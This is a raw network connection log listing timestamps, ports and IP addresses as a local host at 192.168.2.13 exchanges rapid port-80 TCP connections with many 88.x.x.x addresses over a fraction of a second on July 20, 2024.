Jul 20, 2024 23:00:59.297439098 CEST	80	60274	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:59.298541069 CEST	80	60706	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:59.298593998 CEST	50200	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.298593998 CEST	50200	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.298661947 CEST	60706	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.299407959 CEST	50620	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.300529003 CEST	57602	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.300529003 CEST	57602	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.301892996 CEST	80	40136	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:59.301906109 CEST	80	40564	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:59.301930904 CEST	80	50230	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:59.301944017 CEST	40564	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.302239895 CEST	80	43272	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:59.302478075 CEST	58018	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.303879023 CEST	33026	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.303879023 CEST	33026	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.303973913 CEST	80	43696	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:59.304030895 CEST	43696	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.304297924 CEST	80	50200	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:59.304843903 CEST	33438	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.305335045 CEST	80	50620	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:59.305413961 CEST	80	57602	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:59.305421114 CEST	50620	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.306289911 CEST	43868	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.306289911 CEST	43868	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.307050943 CEST	44276	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.307492018 CEST	80	58018	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:59.307549953 CEST	58018	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.308234930 CEST	39846	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.308234930 CEST	39846	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.308650017 CEST	80	45364	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:59.308662891 CEST	80	43964	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:59.308691025 CEST	80	49166	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:59.308702946 CEST	80	34890	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:59.308734894 CEST	80	33026	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:59.309101105 CEST	40250	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.310127020 CEST	80	33438	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:59.310221910 CEST	33438	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.310271025 CEST	53522	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.310271025 CEST	53522	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.311132908 CEST	53922	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.312310934 CEST	52048	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.312310934 CEST	52048	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.313194990 CEST	52444	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.313292027 CEST	80	53362	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:59.313317060 CEST	80	44784	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:59.314502001 CEST	49774	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.314502001 CEST	49774	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.315357924 CEST	50166	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.316445112 CEST	39924	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.316473961 CEST	39924	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.317198992 CEST	40316	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.318224907 CEST	53922	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.318264961 CEST	53922	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.318988085 CEST	54314	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.320017099 CEST	80	34088	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:59.320029974 CEST	80	44884	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:59.320060015 CEST	38350	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.320060015 CEST	38350	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.320065975 CEST	80	43868	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:59.320103884 CEST	80	44276	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:59.320142031 CEST	80	39846	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:59.320146084 CEST	44276	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.320153952 CEST	80	40250	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:59.320236921 CEST	40250	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.320283890 CEST	80	53522	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:59.320456982 CEST	80	53922	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:59.320489883 CEST	80	52048	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:59.320584059 CEST	80	52444	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:59.320595980 CEST	80	49774	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:59.320632935 CEST	52444	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.320827007 CEST	80	50166	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:59.320863962 CEST	80	55498	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:59.320866108 CEST	50166	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.320888996 CEST	80	56542	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:59.320956945 CEST	38742	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.321393013 CEST	80	39924	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:59.321937084 CEST	53922	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.321999073 CEST	49246	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.321999073 CEST	49246	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.322464943 CEST	80	40316	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:59.322577953 CEST	40316	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.322819948 CEST	49638	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.323394060 CEST	80	53922	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:59.323836088 CEST	40586	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.323836088 CEST	40586	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.324023008 CEST	80	54314	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:59.324076891 CEST	54314	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.324609041 CEST	40978	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.325202942 CEST	80	38350	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:59.325829029 CEST	53510	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.325829029 CEST	53510	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.325908899 CEST	80	38742	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:59.325948000 CEST	38742	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.326519012 CEST	53902	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.327560902 CEST	52180	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.327560902 CEST	52180	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.327639103 CEST	80	49246	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:59.327913046 CEST	80	49638	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:59.327948093 CEST	49638	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.328473091 CEST	52572	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.328634024 CEST	80	34234	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:59.328645945 CEST	80	49414	88.243.42.220	192.168.2.13
Jul 20, 2024 23:00:59.328772068 CEST	80	38744	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:59.329523087 CEST	53528	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.329523087 CEST	53528	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.329900980 CEST	80	40586	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:59.329912901 CEST	80	40978	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:59.329942942 CEST	40978	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.330434084 CEST	53918	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.330918074 CEST	80	53510	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:59.331338882 CEST	35776	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.331338882 CEST	35776	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.331437111 CEST	80	53902	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:59.331470013 CEST	53902	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.332204103 CEST	36162	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.332623005 CEST	80	52180	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:59.333201885 CEST	49000	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.333201885 CEST	49000	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.333587885 CEST	80	52572	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:59.333621025 CEST	52572	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.333894014 CEST	49382	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.334634066 CEST	80	53528	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:59.335095882 CEST	47492	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.335097075 CEST	47492	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.335592985 CEST	80	53918	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:59.335629940 CEST	53918	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.335861921 CEST	47870	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.336565971 CEST	80	35776	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:59.336644888 CEST	80	41712	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:59.336688995 CEST	80	54918	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:59.336702108 CEST	80	51374	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:59.336714029 CEST	80	51362	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:59.336828947 CEST	80	37750	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:59.337011099 CEST	38254	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.337011099 CEST	38254	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.337189913 CEST	80	36162	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:59.337374926 CEST	36162	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.337665081 CEST	38628	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.338219881 CEST	80	49000	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:59.338737011 CEST	80	49382	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:59.338782072 CEST	49382	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.338818073 CEST	53464	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.338818073 CEST	53464	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.339714050 CEST	53834	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.340053082 CEST	80	47492	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:59.340841055 CEST	46268	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.340842009 CEST	46268	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.340956926 CEST	80	47870	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:59.341000080 CEST	47870	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.341476917 CEST	46634	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.342559099 CEST	59120	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.342559099 CEST	59120	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.342607021 CEST	80	38254	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:59.342619896 CEST	80	40136	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:59.342633009 CEST	80	60274	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:59.343303919 CEST	59482	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.343362093 CEST	80	38628	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:59.343583107 CEST	38628	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.344321966 CEST	80	53464	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:59.344450951 CEST	54332	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.344450951 CEST	54332	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.345072031 CEST	80	53834	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:59.345112085 CEST	53834	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.345201969 CEST	54690	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.345767975 CEST	80	46268	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:59.346139908 CEST	44902	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.346139908 CEST	44902	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.346898079 CEST	45256	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.347282887 CEST	80	46634	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:59.347426891 CEST	80	59120	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:59.347465038 CEST	46634	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.348493099 CEST	38874	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.348493099 CEST	38874	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.348526955 CEST	80	59482	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:59.348583937 CEST	59482	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.348696947 CEST	80	43272	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:59.348709106 CEST	80	57602	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:59.348763943 CEST	80	50200	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:59.349160910 CEST	39224	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.349421978 CEST	80	54332	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:59.350208998 CEST	59832	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.350208998 CEST	59832	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.350269079 CEST	80	54690	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:59.350383997 CEST	54690	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.350960970 CEST	60178	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.350976944 CEST	80	44902	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:59.351841927 CEST	80	45256	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:59.351912975 CEST	45256	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.351927996 CEST	56422	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.351927996 CEST	56422	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.352919102 CEST	80	33026	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:59.352967978 CEST	56764	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.354020119 CEST	32884	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.354020119 CEST	32884	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.354115009 CEST	80	38874	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:59.354288101 CEST	80	39224	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:59.354334116 CEST	39224	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.354815006 CEST	33222	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.355310917 CEST	80	59832	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:59.355782986 CEST	35232	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.355782986 CEST	35232	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.356184959 CEST	80	60178	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:59.356266975 CEST	60178	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.356651068 CEST	35566	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.357342958 CEST	80	56422	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:59.357777119 CEST	34262	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.357777119 CEST	34262	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.358359098 CEST	80	56764	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:59.358397961 CEST	56764	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.358474016 CEST	34592	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.358988047 CEST	80	32884	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:59.359484911 CEST	40790	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.359484911 CEST	40790	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.359983921 CEST	80	33222	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:59.360135078 CEST	33222	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.360223055 CEST	41116	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.360748053 CEST	80	49774	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:59.360861063 CEST	80	52048	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:59.360888004 CEST	80	53522	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:59.360912085 CEST	80	39846	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:59.360923052 CEST	80	43868	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:59.361004114 CEST	80	35232	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:59.361361027 CEST	51688	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.361361027 CEST	51688	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.361572981 CEST	80	35566	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:59.361901045 CEST	35566	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.362247944 CEST	52010	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.362994909 CEST	80	34262	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:59.363358021 CEST	50962	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.363358021 CEST	50962	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.363768101 CEST	80	34592	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:59.363835096 CEST	34592	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.364080906 CEST	51280	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.364593983 CEST	80	40790	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:59.364736080 CEST	80	53922	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:59.364790916 CEST	80	39924	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:59.365273952 CEST	33216	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.365273952 CEST	33216	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.365282059 CEST	80	41116	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:59.365382910 CEST	41116	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.365936995 CEST	33530	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.367026091 CEST	80	51688	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:59.367057085 CEST	37436	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.367057085 CEST	37436	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.367706060 CEST	37746	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.367841959 CEST	80	52010	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:59.367889881 CEST	52010	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.368596077 CEST	80	49246	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:59.368617058 CEST	80	38350	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:59.369031906 CEST	51972	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.369031906 CEST	51972	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.369299889 CEST	80	50962	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:59.369654894 CEST	52278	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.369987965 CEST	80	51280	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:59.370024920 CEST	51280	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.370934963 CEST	36166	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.370934963 CEST	36166	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.371603012 CEST	36468	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.371887922 CEST	80	33216	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:59.372071981 CEST	80	33530	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:59.372111082 CEST	33530	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.372309923 CEST	80	37436	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:59.372637987 CEST	55022	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.372638941 CEST	55022	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.373338938 CEST	80	37746	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:59.373378038 CEST	37746	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.373629093 CEST	55320	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.374255896 CEST	80	51972	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:59.374639988 CEST	47548	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.374639988 CEST	47548	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.374927044 CEST	80	52278	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:59.374969006 CEST	52278	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.375533104 CEST	47842	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.375972033 CEST	80	36166	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:59.376610994 CEST	80	52180	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:59.376617908 CEST	50838	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.376617908 CEST	50838	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.376624107 CEST	80	53510	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:59.376652002 CEST	80	36468	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:59.376662970 CEST	80	40586	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:59.376674891 CEST	80	35776	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:59.376687050 CEST	80	53528	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:59.376800060 CEST	36468	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.377345085 CEST	51128	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.377968073 CEST	80	55022	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:59.378422022 CEST	40224	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.378422022 CEST	40224	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.378629923 CEST	80	55320	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:59.378758907 CEST	55320	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.379199982 CEST	40490	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.379559040 CEST	80	47548	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:59.380327940 CEST	60844	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.380328894 CEST	60844	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.380630970 CEST	80	47842	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:59.380662918 CEST	80	47492	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:59.380692005 CEST	80	49000	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:59.380707979 CEST	47842	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.381120920 CEST	32876	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.381931067 CEST	80	50838	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:59.382262945 CEST	58092	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.382263899 CEST	58092	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.382283926 CEST	80	51128	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:59.382322073 CEST	51128	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.383219004 CEST	58356	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.383349895 CEST	80	40224	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:59.384083033 CEST	51444	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.384083986 CEST	51444	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.384682894 CEST	80	53464	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:59.384792089 CEST	80	38254	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:59.384830952 CEST	51708	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.385332108 CEST	80	40490	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:59.385379076 CEST	40490	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.385400057 CEST	80	60844	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.386029959 CEST	42438	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.386029959 CEST	42438	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.386699915 CEST	42702	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.387705088 CEST	55016	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.387705088 CEST	55016	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.388470888 CEST	55280	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.389679909 CEST	56468	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.389679909 CEST	56468	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.390647888 CEST	56732	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.390933037 CEST	80	32876	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.391001940 CEST	32876	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.391031981 CEST	80	58092	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.391547918 CEST	60768	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.391593933 CEST	80	58356	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.391640902 CEST	60768	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.391640902 CEST	58356	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.391649961 CEST	80	59120	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:59.391709089 CEST	80	46268	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:59.391736984 CEST	80	51444	88.217.111.86	192.168.2.13
